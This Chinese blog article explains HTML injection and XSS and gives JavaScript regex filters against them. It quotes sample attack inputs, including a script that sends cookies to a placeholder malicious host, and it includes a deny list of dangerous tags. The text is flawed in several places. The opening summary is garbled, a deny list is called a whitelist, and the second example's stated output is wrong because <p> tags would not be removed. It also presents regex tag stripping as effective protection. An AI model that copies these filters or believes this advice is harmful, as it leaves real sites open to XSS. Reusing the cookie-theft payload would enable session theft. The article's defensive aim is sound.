正则防止html注入

admin 2026年03月13日 05:49 105 0

正则表达式可通过匹配危险HTML标签及属性防止注入攻击，例如识别并过滤以“”结尾的标签（如`、）及恶意属性（如onload、onclick`），在输入验证阶段，通过正则表达式对用户输入进行预处理，移除或转义潜在恶意代码，阻断XSS等攻击路径，需注意正则表达式可能存在绕过风险，建议结合白名单过滤、HTML实体编码等多层防护措施，同时避免过度依赖单一手段，以构建更健壮的HTML注入防御体系。

正则表达式如何有效防止HTML注入攻击

在Web开发中，用户输入数据的处理是安全防护的核心环节，HTML注入（HTML Injection）是一种常见的安全漏洞，攻击者通过在输入框、评论区等场景插入恶意HTML标签（如<script>、<iframe>等），可能导致XSS（跨站脚本攻击）、页面篡改、数据窃取等严重后果，正则表达式作为一种灵活的文本匹配工具，常被用于过滤和校验用户输入，从而有效防止HTML注入，本文将详细介绍HTML注入的原理、正则表达式防护方法及注意事项。

什么是HTML注入？

HTML注入是指攻击者通过输入包含恶意HTML代码的内容，当这些内容被Web应用直接渲染到页面时，浏览器会解析并执行其中的HTML标签或JavaScript代码,从而引发安全风险。

XSS攻击：输入<script>alert("XSS")</script>，若直接渲染,会弹出恶意弹窗；
页面篡改：输入<h1>被篡改的标题</h1>,会替换原有页面内容；
恶意跳转：输入<iframe src="http://恶意网站"></iframe>,会在页面中嵌入恶意框架；
Cookie窃取：输入<script>document.location='http://恶意网站/steal?cookie='+document.cookie</script>,可窃取用户会话信息；
CSRF攻击：输入<img src="http://银行网站/transfer?amount=10000">,可能触发未授权操作。

这类攻击的本质是"未对用户输入进行充分过滤，导致浏览器将其解析为HTML而非纯文本"。

为什么需要用正则表达式防止HTML注入？

正则表达式（Regular Expression）是一种强大的文本模式匹配工具，通过定义特定的规则，可以快速识别并过滤掉输入中的恶意HTML标签或属性，相比其他防护方式（如HTML转义）,正则表达式具有以下优势：

灵活性：可自定义过滤规则，针对不同场景（如允许部分格式化标签、禁止特定事件属性）进行调整；
高效性：对文本的匹配和替换操作速度快,适合实时处理用户输入；
可扩展性：可结合其他安全措施（如输入长度限制、白名单校验）,形成多层防护；
精确性：能够针对特定模式进行匹配,避免过度过滤或遗漏。

使用正则表达式防止HTML注入的核心方法

过滤HTML标签：移除所有`<`和`>`

最基础的防护是直接过滤掉所有HTML标签，通过正则表达式匹配<开头、>结尾的字符串,并将其替换为空。

示例（JavaScript）：

function filterHTMLTags(input) {
  return input.replace(/<[^>]+>/g, '');
}
// 测试
const userInput = '<script>alert("XSS")</script> Hello <b>World</b>';
console.log(filterHTMLTags(userInput)); 
// 输出: "alert("XSS") Hello World"

正则解析：

<[^>]+>：匹配<开头，后跟1个或多个非>的字符，最后以>结尾的字符串（即所有HTML标签）；
g：全局匹配,替换所有符合条件的标签。

局限性：

该方法会过滤所有HTML标签，包括合法标签（如<b>、<i>等），可能影响正常的内容格式化（如用户想输入"加粗文本"时，<b>标签会被移除）。

精准过滤危险标签：保留合法标签，禁止恶意标签

实际开发中，往往需要允许部分格式化标签（如<b>、<p>、<a>），同时禁止危险标签（如<script>、<iframe>、<object>等），此时可通过正则表达式定义"危险标签白名单",仅过滤不在白名单中的标签。

示例（JavaScript）：

function filterDangerousTags(input) {
  // 定义危险标签列表（可根据需求扩展）
  const dangerousTags = ['script', 'iframe', 'object', 'embed', 'link', 'meta', 'style', 'form', 'input', 'button'];
  let cleanedInput = input;
  // 逐个过滤危险标签
  dangerousTags.forEach(tag => {
    const regex = new RegExp(`<\/?${tag}[^>]*>`, 'gi'); // 匹配 <tag> 或 </tag>
    cleanedInput = cleanedInput.replace(regex, '');
  });
  return cleanedInput;
}
// 测试
const userInput = '<script>alert("XSS")</script> <p>段落</p> <a href="http://example.com">链接</a>';
console.log(filterDangerousTags(userInput)); 
// 输出: " 段落 <a href="http://example.com">链接</a>"